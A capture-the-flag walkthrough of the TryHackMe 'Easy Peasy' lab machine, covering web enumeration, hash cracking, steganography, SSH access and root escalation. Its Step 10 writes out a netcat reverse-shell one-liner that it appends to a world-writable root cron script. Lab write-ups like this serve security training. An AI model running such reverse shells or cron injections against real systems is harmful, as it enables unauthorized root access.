



Machine Information

Machine Name	Easy Peasy
IP Address	10.10.139.49
Difficulty	Easy
OS	Linux
Category	Web Enumeration Steganography Privilege Escalation
Platform	TryHackMe
Date Completed	_____
Completed By	Prassanna Balaji

Tools Used

- nmap – Network & service scanning
- DirBuster – Directory & file brute-forcing
- CyberChef – Encoding/decoding & hash analysis
- Hashcat – Local hash cracking
- Online hash-cracking database – Cracking a hash Hashcat couldn't
- Steghide – Extracting hidden data from an image
- Netcat (nc) – Reverse shell listener

Reconnaissance & Enumeration

STEP 1 — Nmap Scan

Started with a full TCP port and service/version scan against the target.

Command Used:

```
nmap -A -p- 10.10.139.49
```

Key Discovery!

Three open ports were found: 80 (nginx), 6498 (SSH), and 65524 (Apache). Two separate web servers meant two separate enumeration paths before touching SSH.

STEP 2 — Port 80 Enumeration

The site on port 80 just showed the default nginx welcome page, and the page source and robots.txt didn't reveal anything useful. Ran DirBuster against it with a medium wordlist to hunt for hidden paths.

```
dirbuster -u http://10.10.139.49/ -l /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

⚡ Directories Found!

/hidden/ and /hidden/whatever/ — both pages only displayed a background image with nothing clickable.

STEP 3 — Flag 1: Hidden Encoded String

The /hidden/ page's source was clean, but /hidden/whatever/ had a hidden <p> tag containing an encoded string. Fed it into CyberChef and decoded it — that was flag #1.

? Q: Where was Flag 1 found?

☑ A: Hidden <p> tag in the page source of /hidden/whatever/, decoded via CyberChef.

STEP 4 — Port 65524 Enumeration & Flag 2

Port 65524 showed the default Apache2 Debian install page. Checked robots.txt (visible per the Nmap scan) and found a suspicious 'User-Agent' value that looked like an MD5 hash rather than a real browser string.

```
User-Agent:*
Disallow:/
Robots Not Allowed
User-Agent:a18672860d0510e5ab6699730763b250
Allow:/
```

Tried a few things to crack it:

- Sending that string as a custom User-Agent header — no change in behaviour
- Cracking locally with Hashcat — no match
- A couple of generic online hash-crackers — no match

Eventually found a specific online cracking database that had it in its lookup table — that cracked hash was flag #2.

? Q: Where was Flag 2 found?

☑ A: Hash string inside robots.txt on port 65524, cracked using an online hash database.

STEP 5 — Flag 3: Hiding in Plain Sight

No tool needed for this one — flag #3 was embedded directly in the default Apache page's boilerplate configuration text, easy to miss if you just skim past it.

? Q: Where was Flag 3 found?

☑ A: In the visible body text of the default Apache page on port 65524.

✶ Exploitation

STEP 6 — Finding the Next Hidden Path

The room hinted at another hidden directory. DirBuster came back empty this time, so checked the page source manually and found a hidden <p> tag noting the string inside was Base64 encoded.

Decoded it in CyberChef, which revealed the path to a new hidden page.

STEP 7 — Steganography & Credential Extraction

The new page rendered a 'Matrix code rain' background with nothing clickable. Its source code contained an embedded image (binarycodepixabay.jpg) plus another hash string, hinted to be a password hidden inside the image.

Cracked the hash using the same online database as before, giving a password. Used that password with Steghide to extract hidden data from the image:

```
steghide extract -sf binarycodepixabay.jpg
```

That produced secrettext.txt:

```
cat secrettext.txt
```

⚡ Credentials Found!

Username: boring | Password: (binary string — decoded to plaintext using a binary-to-text converter)

STEP 8 — SSH Login & User Flag

Command Used:

```
ssh -p 6498 boring@10.10.139.49
```

Logged in successfully (the box greets you with a fake military-monitoring banner). Grabbed the user flag:

```
cat user.txt
```

The flag text looked scrambled — it turned out to be ROT13-encoded. Ran it through a Caesar cipher decoder set to ROT13 to reveal the real flag.

? Q: What was needed to read the user flag?

☑ A: A ROT13 decode — the flag was stored rotated inside user.txt.

↑ Privilege Escalation

STEP 9 — Vulnerable Cronjob

The room hints pointed to privilege escalation via a vulnerable cronjob. Checked the system crontab:

```
cat /etc/crontab
```

⚡ Vulnerable Cronjob Found!

A root-owned cron entry ran every minute: `* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh`

Checked the script's permissions:

```
cd /var/www  
ls -la
```

⚡ Critical Misconfiguration!

`.mysecretcronjob.sh` was world-writable — any user, including boring, could edit a script executed by root every minute.

STEP 10 — Reverse Shell via Cron

Appended a reverse-shell one-liner to the writable script:

```
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER_IP> <PORT>  
>/tmp/f
```

Started a listener on the attacking machine:

```
nc -lvnp 4444
```

Waited under a minute for the cron job to fire — got a callback, then confirmed privilege level:

```
whoami
```

⚡ ROOT SHELL OBTAINED! 🐛

whoami returned root — the cronjob privesc worked.

STEP 11 — Root Flag

```
cd /root
ls -la
cat .root.txt
```

? Q: What was the privilege escalation vector?

✓ A: A world-writable script executed every minute by root via cron — edited it to spawn a reverse shell.

💡 Lessons Learned

- ▶ Always check page source and robots.txt on every web service — even 'default' pages can hide clues.
- ▶ Directory brute-forcing (DirBuster) is worth re-running per host/port; results differ between them.
- ▶ Not every hash-cracker has the same lookup database — if one fails, try another before giving up.
- ▶ Steganography tools like Steghide are worth trying whenever a suspicious image shows up.
- ▶ Always check crontab entries and file permissions (`ls -la`) on any script that root executes — a writable root-run script is an instant privesc path.

✂ Attack Chain Summary

Step	Action
Step 1	Nmap scan → found ports 80 (nginx), 6498 (SSH), 65524 (Apache)
Step 2	DirBuster on port 80 → found /hidden/ and /hidden/whatever/
Step 3	Decoded hidden string in page source → Flag 1
Step 4	Cracked hash in robots.txt on port 65524 → Flag 2
Step 5	Read default Apache page text → Flag 3
Step 6	Decoded Base64 hint → found new hidden directory
Step 7	Cracked hash → password → Steghide extracted hidden creds from image
Step 8	SSH login → ROT13-decoded user flag
Step 9	Found world-writable root cronjob script
Step 10	Injected reverse shell into script → caught root shell via Netcat
Step 11	Read /root/.root.txt → root flag captured

